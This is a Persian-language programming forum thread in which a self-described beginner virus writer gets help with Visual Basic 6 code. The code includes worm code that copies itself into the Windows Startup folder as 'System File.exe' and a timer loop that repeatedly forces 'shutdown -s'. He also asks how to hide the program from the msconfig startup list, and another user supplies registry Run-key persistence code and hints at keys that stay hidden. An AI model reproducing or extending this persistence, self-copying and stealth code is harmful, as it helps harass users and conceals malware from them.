کمک در رفع این Syntax Error

[Morpheus]

سلام دوستان
هنگام Run کردن کد زیر

کد:

Private Sub Form_Load()
On Error Resume Next
If App.PrevInstance = True Then End
If Len (Dir$("C:\WINDOWS\Start Menu\Programs\StartUp\Syst" & _
"em File.exe")) = 0 Then
FileCopy WormFile, "C:\WINDOWS\Start Menu\Programs\Star" & _
"tUp\System File.exe"
End If
If App.Path = "A:\" Or App.Path = "B:\" Then
Unload Me
End If
End Sub

از این خط

کد:

If Len (Dir$("C:\WINDOWS\Start Menu\Programs\StartUp\Syst" & _
"em File.exe")) = 0 Then

Syntax Error می گیره اگر کمک در رفع ارور کنید ممنون میشم

[hamed_Arfaee]

کد:

If Len(Dir$("C:\WINDOWS\Start Menu\Programs\StartUp\Syst" & amp _
& "em File.exe")) = 0 Then

[Morpheus]

دوست عزیز ممنون
یک سوال دیگه هم داشتم که گفتم براش بی خودی تاپیک جدید نزنم همین جا مطرحش کنم اونم این که به کد زیر نگاه کنید:

کد:

Private Sub Form_Load()
cnt = 60
End Sub

Private Sub Timer1_Timer()
cnt = -1
If cnt = 50 Then Shell ("shutdown -s")
If cnt = 40 Then Shell ("shutdown -s")
If cnt = 30 Then Shell ("shutdown -s")
If cnt = 20 Then Shell ("shutdown -s")
If cnt = 10 Then Shell ("shutdown -s")
If cnt = 0 Then Shell ("shutdown -s")
If cnt = 0 Then cnt = 60
End Sub

خوب این اجرا نمیشه یعنی ساختارش درسته شل کد رو اجرا نمیکنه چه کنم که این کار رو انجام بده ممنون میشم جواب بدین

[hamed_Arfaee]

خوب شما تو تایمر مقدار cnt رو برابر -1 میکنین و هیچ تغییری نمیکنه .
یک اینکه متغییر cnt باید بصورت عمومی تعریف بشه و دوم اینکه تو تایمر باید cnt=cnt-1 مقدار دهی بشه .

[Morpheus]

ممنون دوست عزیز اینم سورس کامل شده کار

کد:

Dim cnt As Integer
Private Sub Form_Load()
cnt = 60
Timer1.Interval = 1000
End Sub

Private Sub Timer1_Timer()
cnt = cnt - 1
If cnt = 50 Then Shell ("shutdown -s")
If cnt = 40 Then Shell ("shutdown -s")
If cnt = 30 Then Shell ("shutdown -s")
If cnt = 20 Then Shell ("shutdown -s")
If cnt = 10 Then Shell ("shutdown -s")
If cnt = 0 Then Shell ("shutdown -s")
If cnt = 0 Then cnt = 60
End Sub

[Morpheus]

یک سوال دیگه داشتم از دوستان اونم این که:
من برنامه رو تو استارت آپ قرار میدم بایک دستور که هنگام بارگذاری ویندوز این برنامه هم ران بشه حالا میخوام بدونم دستوری هست که این برنامه رو از لیست استارت آپ تو Msconfig مخفی کنه که کسی نتونه با مشاهده اون قسمت تیک مربوطشو برداره؟؟
ممنون میشم اگر پاسخ بدین

[hamed_Arfaee]

http://forum.iranled.com/showthread.php?tid=3761

http://forum.iranled.com/showthread.php?tid=5735

[Morpheus]

ممنون دوست عزیز اما من چون کار با وی بی رو تازه شروع کردم همچنین خیلی هم از رجیستری سر در نمیارم.
تلاش کردم که از این لینکی که داده بودین استفاده کنم اما هرکاری کردم سر در نیاوردم چه خط دستوری تو ویبی بنویسم اگر این لطفو بکنین خط کد مربوطشو بهم بدین ممنون میشم.حداقل ببینم سردربیارم چی هست و چه باید کرد؟؟
ممنون

[hamed_Arfaee]

تازه شروع کردی اونوقت میخواهی ویروس و کرم بنویسی و مردم ازاری کنی ؟ :d
واقعا که .

[Morpheus]

اتفاقا ویروس خاصی نیست اون که اون بالا گذاشتم از شل کد که همین طوری بود اون اولی هم مال یه ورم آماده بود که از تو نت پیدا کرده بودم داشتم ساختارشو بررسی میکردم.
اما کاری که خودم می خوام انجام بدم اینه که یه برنامه دارم می نویسم برای پروژه دانشگاهی سر کل کل با استاده استادمون یه همچین شرطی رو گفته که برنامه داشته باشه حالا برنامه چیه اینه که بیاد چند تا پیغامو تو بازه های زمانی مختلف نمایش بده
از شما دوستان پنهون نباشه من که خودم دارم رو ویروس نویسی و ورم نویسی هم کار میکنم اما تا اطلاعاتم در این ضمینه به حدی که به نظر خودم یه خورده کافی باشه برای شروع. نمیرم سروقت ویروس نویسی
ممنون میشم اگر در این مورد هم کمکم کنید

[Di Di]

دوست عزيز فكر نون باش كه خربزه رو هركي خورده پاي لرزشم نشسته!

با اين كد مي تونيد بدون مقدمه و به راحتي داخل رجيستري كليد و مقدار بسازيد.

کد:

Set reg = CreateObject("wscript.shell")
reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.path & "\" & App.EXEName & ".exe"
Set reg = Nothing

براي اينكه تو استارت آپ ليست MSConfig ديده نشه هم بايد از كليدهاي خاصي استفاده كني كه تو اين ليست ديده

نشن. مي تونيد ليست كامل آدرس هاي استارت آپ رجيستري رو داخل فروم پيدا كنيد.